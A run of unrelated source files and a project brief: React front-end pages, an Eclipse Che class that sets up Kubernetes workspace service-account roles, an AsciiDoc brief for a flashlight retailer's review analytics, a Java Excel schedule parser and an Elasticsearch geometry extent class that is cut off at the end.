<Header as="h1" inverted>
<Image size="massive" src="/assets/logo.png" alt="logo" className="home-img" />
Superhero Activities
</Header>
{isLoggedIn && user && token ? (
<>
<Header as="h2" inverted content={`Welcome back ${user.displayName}`} />
<Button as={Link} to="/activities" size="huge" inverted>
Go have fun!
</Button>
</>
) : (
<>
<Header as="h2" inverted content="Welcome to superhero meetings" />
<Button onClick={() => openModal(<LoginForm />)} size="huge" inverted>
Login
</Button>
<Button onClick={() => openModal(<RegisterForm />)} size="huge" inverted>
Register
</Button>
</>
)}
</Container>
</Segment>
);
};
export default HomePage; |
/*
* Copyright (c) 2012-2023 Red Hat, Inc.
* This program and the accompanying materials are made
* available under the terms of the Eclipse Public License 2.0
* which is available at https://www.eclipse.org/legal/epl-2.0/
*
* SPDX-License-Identifier: EPL-2.0
*
* Contributors:
* Red Hat, Inc. - initial API and implementation
*/
package org.eclipse.che.workspace.infrastructure.kubernetes.namespace;
import static java.util.Collections.emptyList;
import static java.util.Collections.singletonList;
import io.fabric8.kubernetes.api.model.HasMetadata;
import io.fabric8.kubernetes.api.model.KubernetesResourceList;
import io.fabric8.kubernetes.api.model.ServiceAccountBuilder;
import io.fabric8.kubernetes.client.KubernetesClient;
import io.fabric8.kubernetes.client.KubernetesClientException;
import io.fabric8.kubernetes.client.dsl.MixedOperation;
import io.fabric8.kubernetes.client.dsl.Resource;
import java.util.Arrays;
import java.util.List;
import java.util.Set;
import java.util.function.Function;
import org.eclipse.che.api.user.server.PreferenceManager;
import org.eclipse.che.api.user.server.UserManager;
import org.eclipse.che.api.workspace.server.spi.InfrastructureException;
import org.eclipse.che.workspace.infrastructure.kubernetes.CheServerKubernetesClientFactory;
import org.eclipse.che.workspace.infrastructure.kubernetes.KubernetesClientFactory;
import org.eclipse.che.workspace.infrastructure.kubernetes.util.KubernetesSharedPool;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* This class implements the logic for creating the roles and role bindings for the workspace
* service account. Because of the differences between Kubernetes and OpenShift we need to use a lot
* of generic params.
*
* @param <Client> the type of the client to use
* @param <R> the Role type
* @param <B> the RoleBinding type
*/
public abstract class AbstractWorkspaceServiceAccount<
Client extends KubernetesClient, R extends HasMetadata, B extends HasMetadata> {
private static final Logger LOG = LoggerFactory.getLogger(AbstractWorkspaceServiceAccount.class);
public static final String EXEC_ROLE_NAME = "exec";
public static final String VIEW_ROLE_NAME = "workspace-view";
public static final String METRICS_ROLE_NAME = "workspace-metrics";
public static final String SECRETS_ROLE_NAME = "workspace-secrets";
public static final String CONFIGMAPS_ROLE_NAME = "workspace-configmaps";
public static final String CREDENTIALS_SECRET_NAME = "workspace-credentials-secret";
public static final String PREFERENCES_CONFIGMAP_NAME = "workspace-preferences-configmap";
public static final String GIT_USERDATA_CONFIGMAP_NAME = "workspace-userdata-gitconfig-configmap";
protected final String namespace;
protected final String serviceAccountName;
private final ClientFactory<Client> clientFactory;
private final String workspaceId;
private final Set<String> clusterRoleNames;
private final Function<
Client, MixedOperation<R, ? extends KubernetesResourceList<R>, ? extends Resource<R>>>
roles;
private final Function<
Client, MixedOperation<B, ? extends KubernetesResourceList<B>, ? extends Resource<B>>>
roleBindings;
protected AbstractWorkspaceServiceAccount(
String workspaceId,
String namespace,
String serviceAccountName,
Set<String> clusterRoleNames,
ClientFactory<Client> clientFactory,
Function<
Client, MixedOperation<R, ? extends KubernetesResourceList<R>, ? extends Resource<R>>>
roles,
Function<
Client, MixedOperation<B, ? extends KubernetesResourceList<B>, ? extends Resource<B>>>
roleBindings) {
this.workspaceId = workspaceId;
this.namespace = namespace;
this.serviceAccountName = serviceAccountName;
this.clusterRoleNames = clusterRoleNames;
this.clientFactory = clientFactory;
this.roles = roles;
this.roleBindings = roleBindings;
}
/**
* Make sure that workspace service account exists and has `view` and `exec` role bindings, as
* well as create workspace-view and exec roles in namespace scope
*
* @throws InfrastructureException when any exception occurred
*/
public void prepare() throws InfrastructureException {
Client k8sClient = clientFactory.create(workspaceId);
if (k8sClient.serviceAccounts().inNamespace(namespace).withName(serviceAccountName).get()
== null) {
createWorkspaceServiceAccount(k8sClient);
}
ensureImplicitRolesWithBindings(k8sClient);
ensureExplicitClusterRoleBindings(k8sClient);
}
/**
* Creates implicit Roles and RoleBindings for workspace ServiceAccount that we need to have fully
* working workspaces with this SA.
*
* <p>creates {@code <sa>-exec} and {@code <sa>-view}
*/
private void ensureImplicitRolesWithBindings(Client k8sClient) {
// exec role
ensureRoleWithBinding(
k8sClient,
buildRole(
EXEC_ROLE_NAME,
singletonList("pods/exec"),
emptyList(),
singletonList(""),
singletonList("create")),
serviceAccountName + "-exec");
// view role
ensureRoleWithBinding(
k8sClient,
buildRole(
VIEW_ROLE_NAME,
Arrays.asList("pods", "services"),
emptyList(),
singletonList(""),
singletonList("list")),
serviceAccountName + "-view");
// metrics role
try {
if (k8sClient.supportsApiPath("/apis/metrics.k8s.io")) {
ensureRoleWithBinding(
k8sClient,
buildRole(
METRICS_ROLE_NAME,
Arrays.asList("pods", "nodes"),
emptyList(),
singletonList("metrics.k8s.io"),
Arrays.asList("list", "get", "watch")),
serviceAccountName + "-metrics");
}
} catch (KubernetesClientException e) {
// workaround to unblock workspace start if no permissions for metrics
if (e.getCode() == 403) {
LOG.warn(
"Unable to add metrics roles due to insufficient permissions. Workspace metrics will be disabled.");
} else {
throw e;
}
}
// credentials-secret role
ensureRoleWithBinding(
k8sClient,
buildRole(
SECRETS_ROLE_NAME,
singletonList("secrets"),
singletonList(CREDENTIALS_SECRET_NAME),
singletonList(""),
Arrays.asList("get", "patch")),
serviceAccountName + "-secrets");
// preferences-configmap role
ensureRoleWithBinding(
k8sClient,
buildRole(
CONFIGMAPS_ROLE_NAME,
singletonList("configmaps"),
singletonList(PREFERENCES_CONFIGMAP_NAME),
singletonList(""),
Arrays.asList("get", "patch")),
serviceAccountName + "-configmaps");
}
private void ensureRoleWithBinding(Client k8sClient, R role, String bindingName) {
ensureRole(k8sClient, role);
//noinspection unchecked
roleBindings
.apply(k8sClient)
.inNamespace(namespace)
.createOrReplace(createRoleBinding(role.getMetadata().getName(), bindingName, false));
}
/**
* Creates workspace ServiceAccount ClusterRoleBindings that are defined in
* 'che.infra.kubernetes.workspace_sa_cluster_roles' property.
*
* @see KubernetesNamespaceFactory#KubernetesNamespaceFactory(String, String, String, boolean,
* boolean, String, String, KubernetesClientFactory, CheServerKubernetesClientFactory,
* UserManager, PreferenceManager, KubernetesSharedPool)
*/
private void ensureExplicitClusterRoleBindings(Client k8sClient) {
// If the user specified an additional cluster roles for the workspace,
// create a role binding for them too
int idx = 0;
for (String clusterRoleName : this.clusterRoleNames) {
if (k8sClient.rbac().clusterRoles().withName(clusterRoleName).get() != null) {
//noinspection unchecked
roleBindings
.apply(k8sClient)
.inNamespace(namespace)
.createOrReplace(
createRoleBinding(clusterRoleName, serviceAccountName + "-cluster" + idx++, true));
} else {
LOG.warn(
"Unable to find the cluster role {}. Skip creating custom role binding.",
clusterRoleName);
}
}
}
/**
* Builds a new role in the configured namespace but does not persist it.
*
* @param name the name of the role
* @param resources the resources the role grants access to
* @param resourceNames specific resource names witch the role grants access to.
* @param verbs the verbs the role allows
* @return the role object for the given type of Client
*/
protected abstract R buildRole(
String name,
List<String> resources,
List<String> resourceNames,
List<String> apiGroups,
List<String> verbs);
/**
* Builds a new role binding but does not persist it.
*
* @param roleName the name of the role to bind to
* @param bindingName the name of the binding
* @param clusterRole whether the binding is for a cluster role or to a role in the namespace
* @return
*/
protected abstract B createRoleBinding(String roleName, String bindingName, boolean clusterRole);
private void createWorkspaceServiceAccount(Client k8sClient) {
k8sClient
.serviceAccounts()
.inNamespace(namespace)
.createOrReplace(
new ServiceAccountBuilder()
.withAutomountServiceAccountToken(true)
.withNewMetadata()
.withName(serviceAccountName)
.endMetadata()
.build());
}
private void ensureRole(Client k8sClient, R role) {
//noinspection unchecked
roles.apply(k8sClient).inNamespace(namespace).createOrReplace(role);
}
public interface ClientFactory<C extends KubernetesClient> {
C create(String workspaceId) throws InfrastructureException;
}
} |
....
<img src="guide-logo.png" width=400 />
....
== Project: J2 Instance
https://j2ledflashlight.com/[J2 LED Flashlight] is a trusted expert and
authorized seller of premium LED light products and accessories.
Guide Analytics is a company that powers a
https://guideanalytics.ca/[market Intelligence platform] and will be
testing its feature releases for Amazon data scraping, aspect-based
sentiment analysis and custom visual components based on J2’s requested
flashlight product reviews & metadata.
[cols="<,<",options="header",]
|===
|Project |Specifics
|Title |J2 Instance
|Release |1.0
|Stakeholder |John Jang (Founder J2 LED)
|Product Owner |Anshuk Chhibber (CEO Guide Analytics)
|Resources
|https://gitlab.com/gide-analytics/author-analysis/absa[Gitlab],
https://app.slack.com/client/TUNMD5SE4/C01CQLJ3CH5[Slack],
https://drive.google.com/drive/folders/1EKJUS72Om-94t81gC6N9f-vroB7Yk9d-[Drive]
|Designer |Kaan Karakuzu
|Developers |Raj Patel, Bo Na, Rishabh Karwayun, Kush Thaker
|Support |Michael Brock Li
|===
== Profile: J2 LED Flashlight
_``J2'' got their name from the first initials of their founders, John
and Jim. As brothers, the company was founded in Toronto, Ontario,
Canada in 2004. Our very first product was the Nuwai TM303x which turned
out to be a ``hot seller'' amongst flashlight enthusiasts. Small, bright
and compact, gadget lovers fell in love with this awesome, tactical
flashlight as we all became ``flashaholics'' (in a good way of course)._
From J2’s Google Reviews, this store is seen by enthusiasts as highly
knowledgeable, with vast selection, and strong customer service.
....
<img src="j2-team.jpg" width=600 />
....
....
<img src="j2-website.png" width=600 />
....
....
<img src="j2-audience.png" width=600 />
....
== Business Objective, Strategic Fit
* Our goal is to demonstrate Guide Analytics product capability to J2
and further understand their business needs. +
* Last engagement was `2020-11-05`, meeting notes recorded
https://guideanalytics.slack.com/archives/CUTJZDEFN/p1604619210005600[here].
Given J2 has a large product catalogue, they could benefit from
comparisons of product specifications, aspect-based sentiment summaries
of product reviews, and using our data on top of existing sales and
inventory records to drive growth.
*Advertising Strategy*
* How might our tools inform their advertising strategy? How does our
aggregate data drive decisions to change J2’s website, promotions,
creative copy, target segments, a/b experiments? How might J2 can
increase their brand awareness and sales?
They are working with https://digitalmainstreet.ca/[Digital Main Street]
and we would like to listen in and explore further.
* We want to get the learnings from quality reviews that would help J2
sell products to consumer for everyday carry, hunting, camping use
cases, as well as get contracts with camp sites, business military and
law enforcement.
'''''
== 1.0 User Stories
=== User sees aspect-sentiment heatmap by brand, price and size …
… so that they understand how customers feel.
....
<img src="j2-heatmap-brand.png" width=600 />
....
....
<img src="j2-heatmap-price.png" width=600 />
....
....
<img src="j2-heatmap-size.png" width=600 />
....
'''''
== 2.0 User Stories
=== User sees opinion words associated with given aspect nouns …
… so that they understand how customers feel.
....
<img src="j2-wordcloud.png" width=600 />
....
'''''
== 3.0 User Stories
=== User can add amazon product links in-app …
… so that they can see visuals / comparisons for selected groups of
products.
* Create named group of URLs
* Delete named group
* Add URL to list
* Remove URL from list
Today this is done via shared spreadsheet and scraping script is run
manually. See flashlight
https://docs.google.com/spreadsheets/d/1piu_VKuEPoSC_L5S1Itb0ik0FqEOcZLwxkwk4pARBXw/edit#gid=770576276[spreadsheet].
=== User can select link groups & XY axes to generate scatter plots …
… so that they can visuals / comparisons for selected groups of
products.
'''''
+*In[ ]:*+
[source, ipython3]
----
---- |
/*
The visualization page which lets users choose a date range and displays the route visualizations.
This page includes logic for:
* validating the dates and prompting the api
* sorting data as requested by the user, ie, displaying individual routes or combined visualizations
* displaying current operation status to the user
This page is displayed as the default route. So, it also includes validation logic for checking if the user has logged in.
*/
import { useEffect, useState } from 'react';
import { useNavigate } from 'react-router-dom';
import { getAccount, hasAccount } from '../../assets/db';
import { getRoutes } from '../../assets/api';
import { CONFIGS } from '../../assets/config';
import { DatePicker, DisengageFrame } from './components';
import Map from '../../assets/components/map';
import Loader from '../../assets/components/loader';
import CheckCircleIcon from '@mui/icons-material/CheckCircle';
import ErrorIcon from '@mui/icons-material/Error';
import WarningIcon from '@mui/icons-material/Warning';
import ChevronRightIcon from '@mui/icons-material/ChevronRight';
import ChevronLeftIcon from '@mui/icons-material/ChevronLeft';
import SwapHorizIcon from '@mui/icons-material/SwapHoriz';
import './styles.css';
const Visuals = () => {
const [status, setStatus] = useState({ message: '', icon: <Loader /> });
const [popClass, setPop] = useState('');
const [date, setDate] = useState({ from: null, to: null });
const [isIndividual, setIndividual] = useState(true);
const [drives, setDrives] = useState([]);
const [drive, setDrive] = useState(0);
const [frame, setFrame] = useState('')
const navigate = useNavigate();
useEffect(() => {
// validate whether user has logged in
if (!hasAccount()) navigate(CONFIGS.ROUTES.ACCOUNT);
// set dates to default dates if it's the default account
if (getAccount().token === CONFIGS.DEFAULT_ACCOUNT.TOKEN) setDate({ from: CONFIGS.DEFAULT_ACCOUNT.DATES.START, to: CONFIGS.DEFAULT_ACCOUNT.DATES.END })
// eslint-disable-next-line
}, [])
// utility function for displaying a popup toast message
// once done, simply invoke toast() to hide
const toast = (message = '', icon = 'working') => {
const icons = {
'success': <CheckCircleIcon />,
'error': <ErrorIcon />,
'warning': <WarningIcon />,
'working': <Loader />
}
const show = () => {
setPop('pop-up'); // add class name for animation
setStatus({ message, icon: icons[icon] }); // show the toast
}
const hide = () => {
setPop('pop-down'); // set fade out animation class
setStatus({ message: '', icon: <Loader /> });
setTimeout(() => setPop(''), 1000) // wait a second and remove the animation class
}
// if no message, then the user has invoked toast(), so hide
if (!message) {
hide();
return;
}
show();
}
const showFrame = async(index, segment) => {
const route = drives[index];
setFrame(`${route.url}/${segment}/sprite.jpg`)
}
useEffect(() => {
async function refresh() {
if (date.from && date.to) {
try {
toast('Fetching your drives...', 'working');
// get the routes for the specified date range
let routes = await getRoutes(date);
// set the display to the first route
setDrive(0);
// and keep the routes in memory
setDrives(routes);
if (routes.length > 0) toast('There you go!', 'success');
else toast('No drives in these dates.', 'warning')
} catch (e) { toast(e.message, 'error'); }
setTimeout(() => toast(), 1000);
} else setDrives([])
}
refresh();
}, [date])
// utility function to format a date in ISO to a human readable one
function formatDate(isoDateString) {
const options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
const date = new Date(isoDateString);
return date.toLocaleDateString('en-US', options);
}
return <div className='body'>
<Map
routes={
isIndividual ?
(drives.length > 0 && [drives[drive].coords])
: drives.map(item => item.coords)
}
onMarkerClick={(index, segment) => showFrame(index, segment)}
/>
<DisengageFrame url={frame} onRequestClose={() => setFrame('')} />
<div id="toast" style={{ display: popClass ? 'flex' : 'none' }} className={`status ${popClass}`}>
<div className='icon'>{status.icon}</div>
<div className="text">{status.message}</div>
</div>
<div onClick={() => navigate(CONFIGS.ROUTES.DEVICE)} title='Switch device' className='switch'>
<SwapHorizIcon className='icon' />
</div>
<div className="controls">
<div className="top">
<div className="border"></div>
<DatePicker key={0} position={'from'} onSelect={setDate} date={date} />
<div className='button'>
{drives.length > 0 && <button onClick={() => setIndividual(prev => !prev)} >{isIndividual ? 'view all drives' : 'see individual'}</button>}
</div>
<DatePicker key={1} position={'to'} onSelect={setDate} date={date} />
<div className="border"></div>
</div>
<div className="bottom">
{drives.length > 0 ? <div className='route'>
<div className='control previous'>
{drive > 0 && isIndividual && <div onClick={() => setDrive(prev => prev - 1)} className='button'><ChevronLeftIcon fontSize='large' /></div>}
</div>
<div className='metadata'>
<p>{isIndividual ? formatDate(drives[drive].date) : 'viewing all routes'}</p>
</div>
<div className='control next'>
{drive < drives.length - 1 && isIndividual && <div onClick={() => setDrive(prev => prev + 1)} className='button'><ChevronRightIcon fontSize='large' /></div>}
</div>
</div> :
<div className='route'>
<div className='metadata'>
<p>select a valid date range to see your routes</p>
</div>
</div>}
{drives.length > 0 && <div className="legend">
<p className="marker" style={{ color: 'blue' }}>-</p>
<p>human</p>
<p className="marker" style={{ color: 'green', marginLeft: '10px' }}>-</p>
<p>openpilot</p>
</div>}
</div>
</div>
</div>
}
export default Visuals; |
import { useEffect, useState } from "react"
import { useParams } from "react-router-dom";
import { getFirestore, collection, getDocs, query, where } from "firebase/firestore"
import Container from '@mui/material/Container';
import CircularProgress from '@mui/joy/CircularProgress';
import { ItemList } from "./ItemList";
import '../styles/ItemListContainer.css'
export const ItemListContainer = (props) => {
const [shoes, setShoes] = useState()
const [loading, setLoading] = useState(true)
const {categoryid} = useParams()
useEffect(() => {
setLoading(true)
const db = getFirestore();
const refCollection = categoryid ? query(collection(db, "items"), where("category", "==", categoryid)) : collection(db, "items");
getDocs(refCollection).then((snapshot) => {
if(snapshot.size === 0) console.log("no results");
setShoes(
snapshot.docs.map((doc) => {return {id : doc.id, ...doc.data()}})
)
})
.finally(() => setLoading(false))
},[categoryid])
return(
<>
<div className={props.banner}>
<h1>{props.gretting}</h1>
</div>
<Container maxWidth='xl' sx={{
display: 'flex',
flexDirection: 'row',
flexWrap: 'wrap',
justifyContent: 'space-around',
}}>
{loading ?
<CircularProgress color="neutral" size="md" sx={{ height: '90vh', width: '20vw'}} />
:
<ItemList shoes={shoes}/>
}
</Container>
</>
)
} |
package com.schedule.service;
import com.schedule.dao.ScheduleDao;
import com.schedule.dao.ScheduleRepository;
import com.schedule.dto.*;
import com.schedule.entity.Schedule;
import com.schedule.exception.DublicateException;
import lombok.RequiredArgsConstructor;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import org.springframework.dao.NonTransientDataAccessException;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import java.io.IOException;
import java.io.InputStream;
import java.time.LocalDate;
import java.util.ArrayList;
import java.util.List;
@Service
@RequiredArgsConstructor
public class ScheduleServiceImpl implements ScheduleService {
private final ScheduleRepository scheduleRepository;
private final ScheduleDao scheduleDao;
private final ServiceConverter serviceConverter;
private static final String ITOGO_CELL_VALUE = "Итого";
private static final String VSEGO_CELL_VALUE = "Всего";
@Override
@Transactional
public void uploadSchedule(InputStream schedule) throws IOException, DublicateException {
XSSFWorkbook workbook = new XSSFWorkbook(schedule);
Sheet sheet = workbook.getSheetAt(0);
int shiftWeekdays = 0;
int shiftWeekend = 23;
saveScheduleToDao(sheet, shiftWeekdays);
saveScheduleToDao(sheet, shiftWeekend);
}
@Override
@Transactional
public List<ScheduleDto> getCurrentSchedule() {
List<ScheduleDto> scheduleDtoList = new ArrayList<>();
scheduleDtoList.add(serviceConverter.convertScheduleToScheduleDto(scheduleRepository.getScheduleById(scheduleRepository.getScheduleByDateOrderByDateDesc().get(0))));
scheduleDtoList.add(serviceConverter.convertScheduleToScheduleDto(scheduleRepository.getScheduleById(scheduleRepository.getScheduleByDateOrderByDateDesc().get(1))));
return scheduleDtoList;
}
public void saveScheduleToDao(Sheet sheet, int shift) throws DublicateException {
ScheduleDto scheduleDto = buildSchedule(sheet, shift);
try {
scheduleRepository.save(serviceConverter.convertScheduleDtoToSchedule(scheduleDto));
} catch (NonTransientDataAccessException nonTransientDataAccessException){
throw new DublicateException("Расписание на эту дату уже существует!");
}
}
@Override
@Transactional
public List<ScheduleDto> getSchedule(FilterDto filterDto) {
List<Schedule> scheduleList = scheduleDao.getScheduleList(filterDto);
return serviceConverter.convertScheduleToScheduleDto(scheduleList);
}
private ScheduleDto buildSchedule(Sheet sheet, int shift) {
ScheduleDto scheduleDto = new ScheduleDto();
scheduleDto.setDate(getDateSchedule(sheet, shift));
scheduleDto.setDepoDto(getDepoOnlyTable(sheet,shift));
return scheduleDto;
}
private LocalDate getDateSchedule(Sheet sheet, int shift){
return sheet.getRow(1).getCell(shift + 4).getLocalDateTimeCellValue().toLocalDate();
}
private List<DepoDto> getDepoOnlyTable(Sheet sheet, int shift){
List<DepoDto> depoDtos = new ArrayList<>();
DepoDto depoDto = new DepoDto();
depoDto.setName(sheet.getRow(6).getCell(shift).toString());
depoDto.setRouteDto(getAllRoutesBelongingToDepo(sheet, depoDto, shift));
depoDtos.add(depoDto);
for (int i = 7; i < sheet.getLastRowNum(); i++) {
int cellD = 1;
cellD += i;
if (ITOGO_CELL_VALUE.equals(serviceConverter.convertCellToString(sheet.getRow(i).getCell(shift))) && serviceConverter.convertCellToString(sheet.getRow(cellD).getCell(shift)) != null) {
String cellDepo = serviceConverter.convertCellToString(sheet.getRow(cellD).getCell(shift));
if (sheet.getRow(cellD) != null && sheet.getRow(cellD).getCell(shift).getStringCellValue() != null && !VSEGO_CELL_VALUE.equals(sheet.getRow(cellD + 1).getCell(shift).toString())) {
DepoDto depoDto1 = new DepoDto();
depoDto1.setName(cellDepo);
depoDto1.setRouteDto(getAllRoutesBelongingToDepo(sheet, depoDto1, shift));
depoDtos.add(depoDto1);
}
}
}
return depoDtos;
}
private List<RouteDto> getAllRoutesBelongingToDepo(Sheet sheet, DepoDto depoDto, int shift){
List<RouteDto> routeDtos = new ArrayList<>();
for (int i = 6; i <= sheet.getLastRowNum(); i++) {
if (sheet.getRow(i).getCell(shift) != null && sheet.getRow(i).getCell(shift).toString().equals(depoDto.getName())) {
int count = i;
while (!ITOGO_CELL_VALUE.equals(serviceConverter.convertCellToString(sheet.getRow(count).getCell(shift)))) {
count++;
if (sheet.getRow(count) != null && serviceConverter.convertCellToString(sheet.getRow(count).getCell(shift)) != null && !ITOGO_CELL_VALUE.equals(sheet.getRow(count).getCell(shift)) && !VSEGO_CELL_VALUE.equals(sheet.getRow(count).getCell(shift))) {
RouteDto routeDto = new RouteDto();
routeDto.setNumber(serviceConverter.convertCellToString(sheet.getRow(count).getCell(shift)));
List<TimeDto> timeDtos = getNamesOfTimes(sheet, shift);
int countTime = 0;
for (int y = 1; y <= timeDtos.size() * 2; y++) {
int time = 0;
if(sheet.getRow(count).getCell(shift + y) != null){
time = (int)sheet.getRow(count).getCell(shift + y).getNumericCellValue();
}
if (y % 2 != 0) {
timeDtos.get(countTime).setTotal(time);
} else {
timeDtos.get(countTime).setObk(time);
countTime++;
}
}
if(sheet.getRow(count).getCell(timeDtos.size() * 2 + 1 + shift) == null){
timeDtos.get(timeDtos.size() - 1).setFlights(0);
} else {
timeDtos.get(timeDtos.size() - 1).setFlights(((int) sheet.getRow(count).getCell(timeDtos.size() * 2 + 1 + shift).getNumericCellValue()));
}
routeDto.setTimeDto(timeDtos);
if(routeDto.getNumber() != null && !routeDto.getNumber().equals("") && !ITOGO_CELL_VALUE.equals(routeDto.getNumber()) && !VSEGO_CELL_VALUE.equals(routeDto.getNumber())){
routeDtos.add(routeDto);
}
}
int r = count;
if (sheet.getRow(count) == null){
count++;
}
if (sheet.getRow(r) == null && sheet.getRow(r + 1) == null){
return routeDtos;
}
}
}
}
return routeDtos;
}
private List<TimeDto> getNamesOfTimes(Sheet sheet, int shift){
List<TimeDto> timeDtos = new ArrayList<>();
int addressOrientationColumn = shift + 1;
int countTime = addressOrientationColumn;
while (sheet.getRow(4).getCell(countTime + 2) != null){
countTime++;
}
countTime--;
for (int i = addressOrientationColumn; i < countTime -1 ; i += 2){
TimeDto timeDto = new TimeDto();
String cellResult = serviceConverter.convertDateToString(sheet.getRow(4).getCell(i).getLocalDateTimeCellValue());
timeDto.setName(cellResult);
timeDtos.add(timeDto);
}
TimeDto timeDto = new TimeDto();
timeDto.setName(sheet.getRow(4).getCell(countTime).toString());
timeDtos.add(timeDto);
return timeDtos;
}
} |
/*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.lucene.spatial;
import org.elasticsearch.common.io.stream.StreamInput;
import org.elasticsearch.common.io.stream.StreamOutput;
import java.io.IOException;
import java.util.Objects;
/**
* Object representing the extent of a geometry object within a {@link TriangleTreeWriter}.
*/
public class Extent {
public int top;
public int bottom;
public int negLeft;
public int negRight;
public int posLeft;
public int posRight;
private static final byte NONE_SET = 0;
private static final byte POSITIVE_SET = 1;
private static final byte NEGATIVE_SET = 2;
private static final byte CROSSES_LAT_AXIS = 3;
private static final byte ALL_SET = 4;
Extent() {
this.top = Integer.MIN_VALUE;
this.bottom = Integer.MAX_VALUE;
this.negLeft = Integer.MAX_VALUE;
this.negRight = Integer.MIN_VALUE;
this.posLeft = Integer.MAX_VALUE;
this.posRight = Integer.MIN_VALUE;
}
Extent(int top, int bottom, int negLeft, int negRight, int posLeft, int posRight) {
this.top = top;
this.bottom = bottom;
this.negLeft = negLeft;
this.negRight = negRight;
this.posLeft = posLeft;
this.posRight = posRight;
}
@SuppressWarnings("HiddenField")
public void reset(int top, int bottom, int negLeft, int negRight, int posLeft, int posRight) {
this.top = top;
this.bottom = bottom;
this.negLeft = negLeft;
this.negRight = negRight;
this.posLeft = posLeft;
this.posRight = posRight;
}
/**
* Adds the extent of two points representing a bounding box's bottom-left
* and top-right points. The bounding box must not cross the dateline.
*
* @param bottomLeftX the bottom-left x-coordinate
* @param bottomLeftY the bottom-left y-coordinate
* @param topRightX the top-right x-coordinate
* @param topRightY the top-right y-coordinate
*/
public void addRectangle(int bottomLeftX, int bottomLeftY, int topRightX, int topRightY) {
assert bottomLeftX <= topRightX;
assert bottomLeftY <= topRightY;
this.bottom = Math.min(this.bottom, bottomLeftY);
this.top = Math.max(this.top, topRightY);
if (bottomLeftX < 0 && topRightX < 0) {
this.negLeft = Math.min(this.negLeft, bottomLeftX);
this.negRight = Math.max(this.negRight, topRightX);
} else if (bottomLeftX < 0) {
this.negLeft = Math.min(this.negLeft, bottomLeftX);
this.posRight = Math.max(this.posRight, topRightX);
// this signal the extent cannot be wrapped around the dateline
this.negRight = 0;
this.posLeft = 0;
} else {
this.posLeft = Math.min(this.posLeft, bottomLeftX);
this.posRight = Math.max(this.posRight, topRightX);
}
}
static void readFromCompressed(StreamInput input, Extent extent) throws IOException {
final int top = input.readInt();
final int bottom = Math.toIntExact(top - input.readVLong());
final int negLeft;
final int negRight;
final int posLeft;
final int posRight;
byte type = input.readByte();
switch (type) {
case NONE_SET -> {
negLeft = Integer.MAX_VALUE;
negRight = Integer.MIN_VALUE;
posLeft = Integer.MAX_VALUE;
posRight = Integer.MIN_VALUE;
}
case POSITIVE_SET -> {
posLeft = input.readVInt();
posRight = Math.toIntExact(input.readVLong() + posLeft);
negLeft = Integer.MAX_VALUE;
negRight = Integer.MIN_VALUE;
}
case NEGATIVE_SET -> {
negRight = -input.readVInt();
negLeft = Math.toIntExact(negRight - input.readVLong());
posLeft = Integer.MAX_VALUE;
posRight = Integer.MIN_VALUE;
}
case CROSSES_LAT_AXIS -> {
posRight = input.readVInt();
negLeft = -input.readVInt();
posLeft = 0;
negRight = 0;
}
case ALL_SET -> {
posLeft = input.readVInt();
posRight = Math.toIntExact(input.readVLong() + posLeft);
negRight = -input.readVInt();
negLeft = Math.toIntExact(negRight - input.readVLong());
}
default -> throw new IllegalArgumentException("invalid extent values-set byte read [" + type + "]");
}
extent.reset(top, bottom, negLeft, negRight, posLeft, posRight);
}
void writeCompressed(StreamOutput output) throws IOException {
output.writeInt(this.top);
output.writeVLong((long) this.top - this.bottom);
byte type;
if (this.negLeft == Integer.MAX_VALUE && this.negRight == Integer.MIN_VALUE) {
if (this.posLeft == Integer.MAX_VALUE && this.posRight == Integer.MIN_VALUE) {
type = NONE_SET;
} else {
type = POSITIVE_SET;
}
} else if (this.posLeft == Integer.MAX_VALUE && this.posRight == Integer.MIN_VALUE) {
type = NEGATIVE_SET;
} else {
if (posLeft == 0 && negRight == 0) {
type = CROSSES_LAT_AXIS;
} else {
type = ALL_SET;
}
}
output.writeByte(type);
switch (type) {
case NONE_SET:
break;
case POSITIVE_SET:
output.writeVInt(this.posLeft);
output.writeVLong((long) this.posRight - this.posLeft);
break;
case NEGATIVE_SET:
output.writeVInt(-this.negRight);
output.writeVLong((long) this.negRight - this.negLeft);
break;
case CROSSES_LAT_AXIS:
output.writeVInt(this.posRight);
output.writeVInt(-this.negLeft);
break;
case ALL_SET:
output.writeVInt(this.posLeft);
output.writeVLong((long) this.posRight - this.posLeft);
output.writeVInt(-this.negRight);
output.writeVLong((long) this.negRight - this.negLeft);
break;
default:
throw new IllegalArgumentException("invalid extent values-set byte read [" + type + "]");
}
}
/**
* calculates the extent of a point, which is the point itself.
* @param x the x-coordinate of the point
* @param y the y-coordinate of the point
* @return the extent of the point
*/
public static Extent fromPoint(int x, int y) {
return new Extent(
y,
y,
x < 0 ? x : Integer.MAX_VALUE,
x < 0 ? x : Integer.MIN_VALUE,
x >= 0 ? x : Integer.MAX_VALUE,
x >= 0 ? x : Integer.MIN_VALUE
);
}
/**
* calculates the extent of two points representing a bounding box's bottom-left
* and top-right points. It is important that these points accurately represent the
* bottom-left and top-right of the extent since there is no validation being done.
*
* @param bottomLeftX the bottom-left x-coordinate
* @param bottomLeftY the bottom-left y-coordinate
* @param topRightX the top-right x-coordinate
* @param topRightY the top-right y-coordinate
* @return the extent of the two points
*/
public static Extent fromPoints(int bottomLeftX, int bottomLeftY, int topRightX, int topRightY) {
int negLeft = Integer.MAX_VALUE;
int negRight = Integer.MIN_VALUE;
int posLeft = Integer.MAX_VALUE;
int posRight = Integer.MIN_VALUE;
if (bottomLeftX < 0 && topRightX < 0) {
negLeft = bottomLeftX;
negRight = topRightX;
} else if (bottomLeftX < 0) {
negLeft = bottomLeftX;
posRight = topRightX;
// this signal the extent cannot be wrapped around the dateline
negRight = 0;
posLeft = 0;
} else {
posLeft = bottomLeftX;
posRight = topRightX;
}
return new Extent(topRightY, bottomLeftY, negLeft, negRight, posLeft, posRight);
}
/**
* @return the minimum y-coordinate of the extent
*/
public int minY() {
return bottom;
}
/**
* @return the maximum y-coordinate of the extent
*/
public int maxY() {
return top;
}
/**
